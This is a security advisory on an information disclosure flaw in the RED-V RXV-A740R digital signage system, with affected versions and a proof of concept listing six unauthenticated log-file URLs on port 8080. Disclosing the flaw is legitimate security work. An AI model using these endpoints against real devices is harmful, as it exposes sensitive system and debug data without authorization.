RED-V Super Digital Signage System RXV-A740R Log Information Disclosure


Vendor: RED-V S.R.L.
Product web page: https://www.red-v.tv
                  https://red-v.tv/digital-signage.html
Affected version: Model name: RXV-A740R
                  Android version: 5.1.1
                  Firmware version: 026
                  Player version: 7.8.6
                  Downloader version: 7.5.2
                  Launcher version: 6.8.8

Summary: RED-V Super Digital Signage transforms simple screens
into customized TV channels, delivering audiovisual communication
as immersive user experiences. It is the final blending of years
of know-how in multimedia, mobile and web experience, tablet and
multimedia server design.

Desc: The application is vulnerable to sensitive information disclosure
vulnerability. An unauthenticated attacker can visit several endpoints
and disclose the webserver's log file list containing sensitive system
resources and debug log information running on the device.

Tested on: Apache Struts


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5609
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5609.php


26.10.2020

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1. http://192.168.1.2:8080/downloader.log
2. http://192.168.1.2:8080/launcher.log
3. http://192.168.1.2:8080/player.log
4. http://192.168.1.2:8080/downloader.log_YYYY_MM_DD
5. http://192.168.1.2:8080/launcher.log_YYYY_MM_DD
6. http://192.168.1.2:8080/player.log_YYYY_MM_DD